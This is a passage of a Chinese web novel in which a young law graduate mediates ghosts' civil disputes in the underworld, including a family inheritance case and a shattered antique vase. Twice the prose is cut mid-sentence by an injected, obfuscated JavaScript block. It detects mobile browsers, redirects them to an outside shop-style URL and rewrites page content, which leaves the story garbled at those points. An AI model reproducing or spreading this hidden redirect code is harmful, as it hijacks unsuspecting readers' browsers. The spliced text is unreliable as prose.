刘松巧快要惊掉下巴,这是什么剧情发展,不仅是赌徒,还是亡命徒。再看被告席的两位老人几乎快要散了,原本颜色就有些半透明,现在甚至出现了波动。 要不要阻止一下,恐怕要出大事。 周法官不为所动,一手指着被告席:“你当着你爷爷奶奶发誓,今后不再去赌,今天这钱就分你一份,如果做不到,那按你不履行赡养义务的表现,不给你分也是可以的。” 唐笑辉仍旧低头,半晌不肯说话。在周法官言语催促和眼神威逼下,他才颤抖着举起右手,哽咽发誓,声音破碎不堪。 刘松巧有些担忧,她是管得有点宽,不过发誓能管用吗?就这么轻飘飘一句,怕是拴不住赌博的心。 周法官利落转身看向被告两位:“你们有什么要说的?” 一直沉默的两位老人家终于开口了,刘松巧还以为他们已经不会说话了。 声音苍老微小,语速极慢,总结下来就两句话,如果贺逢雪不配合给钱,那就四个人分。如果配合调解,能直接把钱拿出来,他们俩就不要这个钱了。 贺逢雪脸上表情实在精彩,愤怒、郁闷、不甘、慌张,眼神瞬息万变,最后咬牙切齿地点头。 做完笔录,四人签字捺印,便算是调解成功。用证据铺垫了这么多,最后还是靠气氛逼迫双方达成合意,刘松巧有些疑惑,法律在案子处理中参与了几分?人情世故的分量似乎重上许多。 周法官,闭庭了应该叫周叔,法袍一脱就躲回家去,不忘发个消息叫刘松巧一会儿去他家小坐。向老师照例回去交接,刘松巧乘机解惑。 “发誓有用吗?不就说两句话,老天又不会真的……”刘松巧边说边帮忙收拾文件,分门别类装入档案册。 “地府不同于凡间,神鬼就在眼前,言出法随不会落空。”向老师二指捏笔写得飞快,语速依旧平缓,刘松巧佩服他这一心两用的功夫。 “还有赌博,地府不禁赌?” “官方不准设赌场,但也有不固定的,超出一定规模和金额会抓。” 向老师递过回执让刘松巧签字,这次金额居然有五位数,刘松巧看花了眼。 “这么多!” “按工时算的,你核一下有没有少?” 刘松巧愉快签字,今天是个好日子! 11. 再难也得有个头 刘松巧准时赴约,向老师原本要继续工作,略想了想还是坐在一边监督,只给她半个小时。 周叔乐呵呵地品着小酒,招呼刘松巧也来一杯。幸好她早有准备,另买了两瓶没什么度数的米酒汁。 “答应我的一箱别忘喽。”周叔隔空干杯,一饮而尽。刘松巧热情应和,她记得牢牢的,只是得分批来,一次性烧完怕把自己家给点着了。 “好,我就知道你办事牢靠。”周叔伸手想拍拍刘松巧肩膀,刘松巧下意识后仰躲开。 两人相视尴尬一笑,周叔放下手一拍大腿:“嘿,习惯了,一时收不住手。” 周叔还顺路从外面打包一盘干锅回来下酒,向老师示意刘松巧别动筷子。就着近在鼻尖的香气,刘松巧灌下一大口米酒汁,把口水一起咽回喉咙里。 “不要嫌我话多,我也不是为了东西才说两句好话。”周叔没喝二两就开始摇头晃脑,徒手捞起一块干锅鸡腿肉塞嘴里,边嚼边说,“你做事我都看着呢,认真,踏实,还有一点,不服输。” 刘松巧被夸得半分飘飘然半分不好意思,腆着脸敬酒:“谢谢夸奖,还多亏您镇场子才能顺利解决。” 周叔兴致勃勃,站起来说:“害,我给你说,你跟我学几年,包你能独当一面,游刃有余。” 刘松巧哑然失笑:“多谢您关心,可惜我现在连工作都没找着,研也没考上,就一家里蹲。” 周叔放下酒杯,差点又一巴掌拍刘松巧肩上,挥挥手道:“没事没事,暂时的,我年轻的时候,年轻的时候……比你差远啦!” 周叔似乎想起了什么不太好的往事,喜悦从他脸上褪去,显得有些沧桑。 “反正你坚持努力,努力不会亏待你。” 刘松巧坐直了连声称是,小心观察周叔神色好些没,得到确定答案才谨慎地抛出问题:“我也有些纠结,不知道该继续上学还是上班。” 周叔一抹脸:“你工作能力还可以,找个班上我看没问题。” “只是,好工作门槛都还挺高的,研究生扎堆,我一个本科生,学校也没什么亮眼的,实在竞争不过。”刘松巧说着说着都没了底气,后悔当初不多刻苦一些。 “我滴个乖乖,这么难找工作?我那个时候一本都抢着要。”周叔嚼起花生米,嘎嘣嘎嘣地说话都脆了起来,“磨刀不误砍柴工,考个好学校,把专业学扎实喽,对以后事业发展帮助大。” 刘松巧倒也干脆利落:“我就怕考不上。” “咦?”周叔笑出声,“你请我帮忙那股劲儿呢?你要把那心思和力气都放在复习上,我不信还有考不上的。” 向老师冷不丁凑过来附和:“读书求学总不会有错,明日就开始也不晚。” 刘松巧半信半疑地摸摸头,心里打起了鼓。周叔率先举杯,向老师还要上班只能以茶代酒,三人头一次碰上一杯。权当预祝她成功吧! 万事开头难,开头还要定方向就更难了。去年考本校就差几分进面试,再往上冲,心里没个底,可周叔却说要考就考最好的,不然拼命都拼得不划算。 刘松巧在各大院校招生平台游了三天,恍惚间觉得自己是游不上岸了。顶尖院校招生名额一半都给了保送,分给考研的名额屈指可数,学硕考试内容各有不同,水不知几深,考试热度倒是很火;法硕分数连年攀升,各大机构把题都琢磨出花来了,分数水涨船高。 内心难以抉择,爸妈各执一词差点吵起来,最后还让她自己定。 她自己当然定不下来,至少现在难以抉择。复习时间不等人,不同学校、不同专业考试大纲不同,专业课相似度比大陆法系和海洋法系相似度都小,连同一门法理学都能南辕北辙。 问遍读研的昔日同窗,问就是别来,各种倒苦水。刘松巧听完等于没听,病急乱投医,只能请教经验丰富的前辈了。 周前辈抱着酒瓶正睡得不省人事,刘松巧只能折回办公室,程姐听闻后嗤笑:“问他做什么,这酒蒙子醒了也只会说醉话。” 程姐看向一边:“向老师,听说你考试还挺厉害的,教教小松鼠呗,帮咱们培养人才。” 向老师一愣:“程姐,您叫我老师着实折煞我了,何况我也不懂这类考试。” 刘松巧好奇:“向老师,你还参加过考试?是科举吗?” 向老师没搭话,低头理起了材料。整个办公室安静下来悄悄看他,半晌过后他才如梦方醒般答道:“赶上过一次,没什么好说的。” 刘松巧看他神色不佳,估摸着是没考上,闭嘴不再追问。 “哟,向sir,好不容易在办公室逮到你。嗯?还有个没见过的小朋友。”一个浮夸的男声从门口传来,刘松巧顺着声音看过去,只见一个西装革履、精致到眉梢鬓角的年轻男子倚在门口。 小朋友,是在说她吗? 刘松巧目光锁在对方胸口的黑金徽章:“您年纪很大吗,管我叫小朋友?”既然都是人,外表应该和年龄相差不大,这人看上去也就二三十岁。 精制男嘴角往后一拉:“学生崽,不就是……啊啊!?”突然往前一倒,差点摔个五体投地。 “没长腿吗,堵门口。” 门后飞出一截雪白衣角,声音听上去是个清冷女子。 “我腿可长了,不信你看。”精致男利落爬起来一拍上衣,专门用手在腿上方比划。 “那就是没长眼。”白衣蹁跹进门来,步履稳健,裙摆轻飘,裙下小腿却透出一股子力量。 刘松巧看直了眼,这姐姐长得真俊,皮肤也好,气质端庄,整个人在灯下莹莹生光,像博物馆里的白玉雕。 向老师在手机上私聊她,这位鬼使是元碧君,脾性温和,大家都叫她元姐姐。 向老师说脾性温和,那脾气一定好。能惹得脾气好的姐姐骂人,精致男想必不好处。 还没来得及消化这条信息,精致男主动走上前来伸出右手:“你好,我是Leo,LD律师事务所律师。” 刘松巧犹豫一下,还是不能拂了人家面子,礼貌伸手握了上去:“你好,刘松巧,H大刚毕业。” “985高材生啊,准备去哪儿高就?有没有兴趣来我们所。”Leo身上摸了一圈,大概是在找名片。 刘松巧撇嘴:“你们所实习至少要研究生,实习一年还不一定能留,我一个本科生,哈哈。” Leo脸色毫无变化,继续一脸真挚:“没事,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275524|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿有个hc,需要的话加我微信聊。” 两人交换完联系方式,Leo挥手下线。元美人和向老师坐一起聊工作,远看真像黑白无常。 “黑白无常,哈哈哈,挺形象,”程姐忽然笑出声,“还得戴个高帽。” 刘松巧震惊:“你,你……程姐,你会读心?” 元美人和向老师转头看向两人,思索片刻大致猜出意思。 “还得有个长舌头。”元美人面无表情地吐了吐舌头。 向老师微微皱眉:“十几年前去支援过几天,可谓日不暇给。” 刘松巧尴尬得不行,恨不得赶快跑出去。好在向老师立马给了个机会。 “有个简单案子,要去吗?”向老师摸出笔来,“这次真的不复杂,不耽误你复习。” 刘松巧点头,许愿道:“要是一拍脑袋就能想清楚那种就好了。” 程姐背对着幽幽地传来一句:“那种案子随便派个鬼差就够了,审判员的工资还得配有点含金量的。” 刘松巧认了,嗯,咱是技术工种! 现场在酆都城中一处小楼内,上次破烂鬼屋给刘松巧带来多大冲击,这次豪华别墅就给她带来多大震撼。 四层小楼内里别有洞天,整体装修金碧辉煌,陈设尽是珠宝玉石,就差挂个大匾额“老子有钱”。 房主人在二楼会客室候着,一看长相穿着,十分符合暴发户的刻板印象。刘松巧捋好衣服上的一切金属,生怕坐下时给皮沙发添上几道划痕。 “两位大人,现场就在三楼,被告还没来,您先喝喝茶。”房主人一脸谄媚地端上两个青花茶杯,内里琥珀色茶汤热气氤氲,香气醇厚。 向老师客气点头但没喝,刘松巧也忍着不碰。审判员不得接受案件任一方赠礼,这茶恐怕不便宜,还是别喝的好。 “被告应该快来了,我们直接下去吧。”向老师先开口打破僵局,免得不喝的动作太刻意。 “好嘞好嘞,两位跟我来。” 三楼最大的房间装设如博物馆,玻璃幕墙分隔开几件古董,看颜色都很有些年头。正中摆着一个乌木雕形如老树虬根,顶部平平,不知是什么物件,桌子,还是椅子? “这件藏品,挺别致啊。”刘松巧睁着眼左右扫过乌木雕,案子和这东西有什么关系? “二位请走近看。”房主人用钥匙打开玻璃,两人走上前去。 一地蓝紫色瓷片,如破碎的晚霞满天,有种凌乱美。 房主人捂脸就开始呜呜作响,刘松巧习惯性往后退了一步。 “我的钧瓷花瓶啊!!” 刘松巧捂住耳朵,原来是古董碎了,多半被告就是杀瓶凶手了。 被告姗姗来迟,布袍长须,看样子是个古时的鬼。 房主人抓住他就喊:“你赔我的瓶!我的钧瓷!” 被告一脸嫌弃:“不就一个瓶,我再给你烧一个呗。” “那能一样吗!宋代的钧瓷,你知道有多贵吗!”房主人眼泪都流下来了,拥有这样一间别墅,还为这个瓶子如此歇斯底里,刘松巧不敢想到底得多少钱。 被告捋捋胡子:“我还是宋代的窑工呢,你打了我,得赔多少钱?” 12. 碰瓷,还是碰瓷? 原、被告缠作一团,嘴上骂骂咧咧,手上推来攘去,含混听到什么“这么多年”“一个破瓶儿”,五分钟过去两鬼连根头发都没掉。 刘松巧站累了蹲在一边欣赏跨时代打架,忍了半天没喊出那句“要打就去练舞室打”,在被告差点被自己的袍子绊倒时终于大喊一声:“别打了!” 两鬼应声住手,互甩白眼后云淡风轻地整理起仪容,刚才五分钟好像只是跳了个动作激烈的交谊舞。 刘松巧纳闷了,您两位到底什么关系? “既然事实清楚,只是赔偿价码有异议,没必要非得在这儿说,”刘松巧环视屋内,“这一屋子再砸了什么可就不好了。” 转移到会客室,两鬼坐位大有老死不相往来的架势,刘松巧扯着嗓子刚说两句,不禁感叹一下有钱人房子大了还是有坏处,一个房间里说话还得拿个喇叭。 “您俩坐近点儿吧,说话也太不方便了,再远点就该打电话了。” 两鬼冷哼一声,方才不情不愿地挪动分毫,但中间还能竖着放下一个羽毛球场。 刘松巧无奈,径直走向一块原木斫成的茶桌后,另搬来两张凳子,强制两鬼各坐一边。 两鬼坐下后怒目而视,眼睛一个比一个瞪得大。刘松巧叹气:“有话好好说,瞪不死人的。都是死人也不能更死了。” “那就赔我瓶子钱。”房主人掏出手机埋头算价格。 “赔不起,顶多给你烧一个。”窑工两手一摊,大袖子差点又扫倒摆在桌边的陶制摆件,咣当作响,还好摆件又荡了回去。 “我的茶宠!你装什么文化人穿这大袖子,卷了我一个瓶子还不够,你,你……”房主人闻声应激一般猛地抬头,站起来指着对面鼻子骂,差点把手机摔了出去。刘松巧赶紧站起来调停,以窑工裹紧袖子结束。 房主人按半天计算器写下一长串数字,刘松巧一瞬间有些恍惚,这有多少位? “保守估计就这么多,阳间拍卖的没这个品相好,再好就在博物馆里面。” 窑工只略瞟了眼,不屑地说道:“区区一个瓶儿,你乱喊价。” “我这可是宋代的钧瓷!” “不都是宋代窑工烧的,当年我烧了多少这种瓶子。说了可以给你再烧个,你不要。” “少吹了,我这可是带红的钧瓷!你烧出来花纹也不一样。” “嘿,看不起我是吧?” “……” 现在状况就是现代人买的宋代古董被宋代人砸了,现代人要宋代人赔古董的钱,宋代人表示这对他来说不算古董,只愿意赔个亲手做的。 刘松巧感觉头好痒,这案子哪里简单了! 遇事不决,埋头扒拉草稿纸。宋代的古董和宋代师傅烧的同款,分属于种类物和特定物,原告要求赔偿特定物,被告说可以赔种类物,二者明显不能对等,所以这条路行不通。 回到侵权行为模型,侵权行为、造成损害的事实和因果关系,被告已经自认了,现在的问题只剩下损害赔偿谈不拢。赔种类物不接受,赔钱没有,赔命,嗯,也没有。 刘松巧在脑海里努力搜刮所剩不多的侵权责任法和民法课知识无果,临时抱佛脚翻起法条。侵权责任承担方式不只有赔偿来着?对了,物权对应好几个承担方式,除了赔礼道歉这种不值钱的方式,还有个“恢复原状”。这个比较实在。 刘松巧不太熟悉古董文玩,试探问道:“能不能把瓷器锔起来,镶个金边那种?” 房主人拒绝:“碎成渣了,得用金缮。颜色风格都不一样,多掉价啊。” 刘松巧嘴角兜不住直往下掉,暗忖就房子装修成这样,还能瞧不起她的建议? 向老师基本不掺和案件审理,这次主动凑过来问:“既然手工不行,修复法术如何?” 对哦,这里是地府,不唯物。刘松巧眼里看到了希望。 房主人却摇摇头:“万物修的师傅来看过,说东西太大,碎得又厉害,只看照片复原不了,加钱也不行。” 完喽,唯心也被局限住了。 复原这词儿听着很耳熟,复原,复原瓷器,古董,博物馆…… “地府有做文物修复的吗?”刘松巧一拍手,两鬼吓了一跳。 “这位小姐,您不要那么激动,突然来那么一下,我的心脏哟。”房主人捂着胸口,尽管现在那里已经没有了跳动。 刘松巧委屈,刚你俩吵架又打架的不是挺精神? “我看纪录片里拍的,出土瓷器都碎得没型了,文物修复师没照片都没能原样拼回去,丝毫不差。”刘松巧脑子里蹦出来纪录片里只剩20%原件的陶器,还有堆成小山的碎片,这手艺代代相传,地府应该不缺这类人……鬼才吧? 房主人看向半空:“修复师先复原形状,再用修复法术拼起来?问题是有技术的修复师去哪儿找,万物修那些老师傅都没辙。” 窑工捋了捋一丝不乱的长胡子:“嗯,前年有个后生来找我学烧窑,他好像对这方面挺有门道,他住哪儿来着……” 鉴于场外专家联系不太方便,复原相关事宜暂告一段落。向老师还提议,若技术不足,托个梦给专业修复师也可。 刘松巧悄悄吐槽,这外包都外到哪儿去了,怪不得有灵异故事给鬼打工,敢情还真有。 眼见有复原的希望,房主人心情好了许多,面色和缓,窑工原本一张臭脸,现下反而有些悔意。 刘松巧观察两鬼关系似乎稍稍弥补,提议补偿的事可以大家商量着来,互相认可就行,也不一定非要拿法律当尺子量。 房主人又开始按起了计算器。修复所费工钱自是不消说,比起本体价值不过零头的零头。但房主人还有些不太满意,坐立不安。 “我说,咱们多少年的交情,你也知道我心脏不好,”说着说着又下意识捧心,可惜彼非西子,着实有些忸捏,“把我的宝贝砸了吓我一跳,又来气我,你说说,怎么补偿?” 刘松巧往后一靠,双手抱在胸前,这话听着牙酸。瞟了眼向老师神色如常,真羡慕他的定力。 “这也要赔?”窑工刚生出的三分悔意荡然无存,一脸“这人怎么无理取闹”的神情。 刘松巧翻开法条:“精神损害赔偿也不是随便用的。他违约了吗?” “我就来帮他掌眼,什么都没约。”窑工赶紧回答。 房主人凑过来看法条,念道:“这里还写了一条……” 刘松巧也不好把书收回去显得她像做贼,但这鬼眼神看上去不太有好意。 “这瓶子是我老婆给我祝寿买的,我当成心肝宝贝来爱护,现在她在那边我在这边,只能睹物思人,寄托感情?”房主人边说边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275525|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭丧着个脸,刘松巧心道又来了又来了,个个都是影帝影后。 这番话听完,都不明白他的心肝到底是他老婆还是这个瓶子,或者,是钱? 第二款规定“具有人身意义的特定物”受到损害,也可以请求精神损害赔偿。不过这位漏了一点,需是造成严重精神损害才赔精神损害,随意撒两滴泪应当不算,但她不敢说,怕当场表演一个哭倒长城。 窑工摇头喟叹:“你也知道,我早就没香火了,谁还记得十八辈祖宗?钱,我真没有,你要什么瓷器,你要看得过眼,我给你烧就是了。” 房主人忽然眼冒精光,身体微微前倾:“那可是你说的,不许反悔啊。” 刘松巧补上:“先写个清单,调解事项不清楚没法结案。” 看房主人的表情,典型的奸商成色,不写清楚怕是要变终身免费。 “行,二位要是不急容我慢慢写。” 刘松巧本来是不急的,但等到第四十三分钟的时候确实有些心烦意乱了。 表格上只列了十来项物品名称,房主人还在慢悠悠地边翻画册边写,选半天,再照着无比繁琐的文物名称一个字一个字地抄。 “还要写多久?”刘松巧忍不住打了个哈欠,奇怪,梦里怎么会缺氧? 房主人满脸堆笑:“还有个几十件,您看……” “我有个提议,您先定个总数,再定下标准,比如参照哪些文物,大小和工艺复杂程度,限制太死也不方便。” “行,您同意我就没问题。这种瓶子大小和工艺,我包料,100件。”房主人笑容灿烂地丢开笔,仿佛谈判终于推出价码。 窑工的长眉毛快拧作一团,半晌方才开口:“我怎么就交了你这个朋友……” “有我这个朋友,不好吗?”房主人大笑握住窑工的手,“您老也别愁眉苦脸的话,100件也不白要,我给您……” 两鬼附耳说了些什么,刘松巧听不清,隐约听到什么“展览”“场馆”什么的,语闭二者喜笑颜开地把字签了。 可见有钱能使鬼推磨是真的。 刘松巧惯例在办公室喝杯茶再走,还是免费的茶水喝得清爽。 “谁说免费的,报酬扣10%当茶水费。”程姐从打印机取出纸张递给刘松巧,后者一瞬间脸红。 “程姐,你又在读心!” 程姐弯腰凑到她耳边:“那你捂好喽,别让我听见。” 隔着一寸远,刘松巧觉得脸上痒痒的。 “不看看多少钱?”程姐微笑转身,留她愣怔原地。 “不是按工时算吗?”刘松巧眼睛又要被数字弄花了,好在是自己的收入,兴奋劲让她晕不了。 “纯经济纠纷,标的超过一百万加收百分点。” 刘松巧认真地数了一遍数字个数,兴奋得差点原地起飞。 如果全加到事业运上,她真的要发达了! “运气只是运气,别高兴太早。”程姐泼了盆冷水,“你给人算命,应该明白。” 刘松巧收起双手,略有些懵,什么只是运气,她缺的不就是运气?如果加运势都不能改变她的事业和人生,还能怎么办? “天上不会掉馅饼,快滚回去复习。” 陷入黑暗前,刘松巧的心安稳落回肚子里。 是时候步入正轨了。 13. 不能深究 难得起个大早,刘松巧不觉得困,反而有些新鲜。六点的天空还不甚明朗,睡衣挡不住清晨的冷空气,阿嚏一声替代闹钟叫醒了大脑。 虽说专业课悬而未决,但不妨碍早起背背单词。刚背到academy,手机叮咚一声响,绿油油的软件提示。 换作以前,她会点开,然后刷着刷着忘了自己为什么打开手机。 今天慎重起见,默念只看消息只看消息。 下次一定先把手机关了。 看着陌生的好友申请,头像是标准的叉手精英风格流水线写真,照片上的人脸修得有些失真。大脑宕机十秒后恍然大悟,哦,是那个精致男Leo。 Leo在网上聊天比线下还要客气,各种敬语塞满了每一句话。 怎么说来着,律师是服务行业? “松巧,不用这么客气~你在纠结择校问题啊,我是留学回来的不太清楚国内学校情况,不过我们所伙伴们来自各大名校,需要的话我可以帮你问问。” 尽管只是一段20秒的语音,刘松巧眼前却扑棱起一只开屏大孔雀,羽毛都要飞她脸上了。 转念又觉得自己事儿真多,好不容易有人能实实在在地帮到自己就该感恩,在这儿酸溜溜地想什么呢?细想还是有一丝丝嫉妒那些有好去处的天之骄子,自己上蹿下跳忙活这么久却总是差一点,最后一事无成。要是她有那么能干,估计得翘着尾巴走。 刘松巧拍拍脸,一定是家里蹲久了心态失衡了,务必改正。反复内耗不如努力背书,有运势加成了,这把一定行! 发送早就整理好的表格清单,将手机设置成静音搁置一旁。闭上眼,屏蔽掉所有杂念,她就当自己是个背书机器。 Leo工作效率确实没得说,一上午过去收集完信息还做了满满4页pdf和一张简略对比表。刘松巧默默记下,工作技巧以后用得上。 目标大概是定下了,搜集齐备考书单和攻略后,刘松巧深吸一口气,点开了地府工作系统。 “程姐,我要换财运。” “你是不是放弃得也太快了?!” 刘松巧买了几张刮刮乐,人生头一次在彩票摊看到回头钱,金额还不小。运势点数字带来的观感冲击虽大,还是提现的一刻感觉最实在。 两天后刘松巧收到一个大箱子,沉得差点闪了她的腰,看来体力锻炼有待加强。 “你买什么大物件了?”老爸在家闲得逗猫,白色长毛团子在他腿边飞来飞去。 刘松巧搬出来一堆泡沫袋包裹严实的大板砖,挨个拆开码成一摞。 一水全新的法学教材,本本皮薄馅大,量大管饱,松糕一爪子按上去岿然不动。 “哟,太子要攻书了呀。”老爸翻开顶上一本,眉眼带笑,“这么多书,钱还够用吗?” “没事儿,帮人写起诉状和算命挣了些钱。”刘松巧面不红心不跳地给上次的事圆了个谎,不过也不全算假话,钱确实是这么来的。 “那个钱你存着嘛,要买什么和我说就是了。”老爸抱住松糕不让它把书堆当猫抓板使,“复习辛苦,就别老是熬夜干活了,专心做你想做的,爸妈养得起。” 刘松巧心中流过一股暖意,填补进几个月来隐藏在内心深处的空虚与恐惧,鼻根不禁有些酸。 有些话不必多说。 这些天规律作息,刘松巧准时到办公室候着,没案子也帮着打打杂。原因无他,一整天忙于学业,好不容易能有个不消耗体力、不耽误时间的消遣。 “这下真要成编外员工了。”程姐总爱在工作忙起来的时候开玩笑,此刻手上赶着一个小时前就该上报的公文,嘴上还不忘调侃刘松巧,“先说好了,我们可没多的工资预算。” 刘松巧在一旁按订书机,说话随着手掌摁下用起力来:“实习没钱,这我熟。” “哦哟,说得好像我们真成周扒皮了。”程姐笑了一会儿,又盯着文档界面出神。 也许是学术解构理论背多了,刘松巧这几天开始重新审视办公室的运转体系。办公室挂牌“秘书联络处”,听起来既像秘书处又像联络处,联络活人还能理解,“秘书”不知为哪位尊神服务。程姐和小云挑起大梁,还有些小鬼来回打杂,面孔大抵相似,都分不清昨天和今天来的是不是同一个鬼。 小云几乎不怎么说话,恨不得把自己埋进文件堆里,主要负责做表和收发文件。程姐明显居于领导地位,来往鬼使对她都有种下属对上司的客气,但不知职务一栏到底写着什么。推算是个古人,打扮却像写字楼里的高级打工人,还写得一手好公文,自撰自审自签三位一体,流程跑得飞快但从不管什么三审三校。 刘松巧解构完办公室架构,又对“法治地府建设”产生了好奇,光靠这么些兼职审判员审点民事案子,就能实现目标吗? “看来是真学进去了,都会思考问题了。”程姐敲下回车报送公文,转过头盈盈一笑,眼神中却不全是肯定,“肯定不止这些,不过……” 程姐嘴唇未动,刘松巧感觉颅内有声音震动,像开了环绕立体声。 “活人少打听,那不是你能看的。” 刘松巧嗯嗯点头表示绝不乱来,但还是没忍住惊叹:“好高级,原来这就是传音!” 程姐瞬间哭笑不得:“你少看点小说。” 两人正嘻嘻哈哈,向明今沉默地在门口逡巡。余光瞥见黑影不似往日步履稳健,甚至有些迟疑,刘松巧转头仔细看到底发生了什么事。 向老师还是一身黑袍,但这袍子仿佛融化一般,浓稠液体顺着衣褶淌下,袖口还在滴水珠;一头蓬松柔顺的黑色长发此时凌乱分成几大绺牢牢贴在衣服上。 “向老师,这……” “谁弄的?!” 程姐一个箭步冲过去,又在半米距离停了下来捏住鼻子。 刘松巧探头凑近一看,地上黑水汪成一滩,隐约还有一股苦味。 “先烘干一下。”程姐抬手准备施法,向明今赶快止住。 “别,干透了怕是弄不干净了。” “水都要流到办公桌底下了!” 折中一下,向明今披着湿润衣袍勉强踏进了办公室,既不聚成水滴,也不成股流下。头发将就挽成一个简单的发髻,勉强还能看过眼。 “出趟外勤成落汤乌鸡了,谁这么大胆?”程姐话虽戏谑,眉眼间却隐约透出杀气。 “并非有意。” 向明今从怀里取出记事册子,纸张湿得变了形,好在上面的墨迹防水。 向明今一边抄录一边解释,墨玉坊,也就是一家制墨作坊的邬老板和一名主顾因为买卖争吵不休,请他去做个见证。本来也没什么大事,但在二楼和料的工人帮腔过于激动,一杵子下去劲使大了,盛料的大锅砰一声炸开,浇了在场几位一个透心黑。 程姐眉间逐渐舒缓,听到最后勾起嘴角:“书生这下当真满腹墨水了。” 向明今没多言语,略整理仪容后道:“今日还剩最后一件,恰巧毗邻寒舍,容我回去更衣,明日再来回禀。” 程姐应允,刘松巧突然有些兴致,央求跟去看看。向老师一向好说话,也没拒绝。 “怎么不先回去换了衣服?这样总有些,额,不太体面。”刘松巧一路上和向老师保持过于友好的社交距离,她的鼻子真不适应制墨的苦味儿。 向老师闻言又抬手轻抚鬓发:“时辰已定,耽误不得。况且,有你一路,也算体面。” 刘松巧不解其意,什么叫有她一路就体面了? 被迫挡在向老师前边直面两个暴躁的母亲时,刘松巧总算明白了什么叫“体面”。说得也太好听了,不就是让她代班嘛! “这位姐姐,您消消气,有事好商量。”刘松巧隔着空气试图拉住面前怒气冲天的大姐,后者手里还拎着把菜刀。 “小姑娘你莫要拦我,让我去和她理会理会!” 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刘松巧蹲下来看着他:“这位小朋友,尊老爱幼是基本美德,你怎么想着去干这种事呢?” 小孩儿不语,只一味盯着她,眼神懵懂。 母亲却下意识护崽,立马蹲下来抱住自己儿子,委屈说道:“我家仔仔从小生病一直住院,没上过学不懂事,他也不是有意的。” 但抬眼又怒视对面:“他还只是个孩子,你怎么能下得了手!” 战火一点就燃,右边大姐立马指着骂:“你生了不教,有的是人教!” “好了,别吵了!”刘松巧厉声喝止,清楚再不压住就更难解决了。 “你家孩子不尊老爱幼推了这位老人,该你家孩子向人家道歉,再小也得学会做人,难道不懂事就永远别懂了?” 刘松巧一字一句说得用力,大姐还想说话,被一句“听我说完”挡了回去。 “至于你,我能理解你做母亲的心情,但方法不太妥,对方家长在场,先和家长沟通,不行再说,怎么能一上来就动手?” 右边大姐嘟囔一句“老娘打就打了”,刘松巧摇头道:“那都打架解决,赢了也不好过,输了更不好过,事情真解决了吗?” “你们看现在这事闹得要死要活的,不就是错上加错?你一错,我一错,都赌口气。不如互相该赔的赔,再诚心道歉,今天这事儿就了了。”刘松巧回头看向老师,见他点头示意,壮着胆子拧住眉头补充一句,“还要胡搅蛮缠就别怪我们不留情了。” 两家看了看背后的向明今,不禁胆寒,就此偃旗息鼓,互相赔礼道歉后各回各家。 “颇有进益,还会狐假虎威。”向老师用湿漉漉的本子记下结果,墨迹竟不至于晕开。 “向老师这是夸还是批评?” “算是夸吧。这种事要解决,总得费些功夫,也没更好的法子。”向老师合上册子,“总不能真打板子吧?” 刘松巧不好意思地摸摸头:“其实我也瞎说的,我都不知道这儿有什么处罚手段,什么上刀山下油锅的,是真的吗?” 向老师不假思索答道:“难道有假?” 刘松巧觉得还是有些不真实的残忍,看向老师表情不像在说假话,细想之下有些后背发凉。 虽然城市俨然,相处的鬼都不吓人,但她不该忘了这里是地府。 逝者的世界,不能完全套用生者的规则。 “多谢出手相助。”向老师深鞠一躬,刘松巧赶紧推手道不用这么客气。 向老师却坚持行礼就要有始有终,刘松巧怀疑自己受此大礼会不会折寿? 礼毕,刘松巧还等着道别,向老师却迟迟不说话。 半晌,只见他拱手道:“还请到寒舍略坐坐,您肯赏脸吗?” 刘松巧想到书桌上那一摞教材,只坐一会儿,应该不耽误复习吧? 她点点头:“好。” 14. 请君入室 地府大多数地方建筑风格古今混杂,层叠斗拱紧挨着四方阳台,屋檐脊兽端坐与广告灯箱比肩。分开来平平无奇,凑在一块儿颇有荒诞艺术风格。 这条街相比之下更能满足刘松巧的强迫症,道路两旁皆是干净的青瓦粉墙,绿树掩映,清幽雅致。连路灯都设置成宫灯造型,高度压制在墙头不远处。 向老师定居此处,很符合他一贯风格。 走过百步,街市渐远,连声音都传不到这头。长长的粉墙中终于出现了一扇黑漆木门,上有檐瓦遮头,下有两层青石台阶,门扇不宽却透着股子贵气。 “到了。” 刘松巧观门识主人,向老师怕不是个富翁?只看这品味和用料,想必里面只会更讲究。 门扉半启,向老师先步入其中,刘松巧在外面等他开门,半天不见动静。 “就这么?”剩下的“进去”两个字咽了回去,等主人安排吧。 向老师探出半截身子招呼她进去,衣服与门几乎融为一体,煞白的脸尤为突出。大袖子里伸出一只洁白无瑕、骨节分明的手,轻轻挥动,像极了启门图里的样子。 刘松巧看得有些害怕,脑海里门后房子都变成了龙潭虎穴,但又有更强有力的声音说,向老师不会害她的。 刘松巧嘴角有些僵,双手比划开门动作道:“向老师,您要不把大门,打开?” “抱歉,许久不曾接待客人,礼节疏忽了,请。”向老师倒也敞亮,伸手将门完全拉开。 门后一片漆黑,只门前寸地有些许光亮,其后伸手不见五指,刘松巧的想象力不自觉地跑满最大功率。 “要不,啊,我就不进去了,我还……”刘松巧语无伦次,不知该怎么好,直接说出来是不是太伤他了? 向老师少见地变了脸色,不大高兴:“何事?” 刘松巧思来想去,自认为找了个最合适的借口:“你家好像停电了,我还有书要背,要不先回去了。” 向明今怔在原地,眼中充满了疑惑。 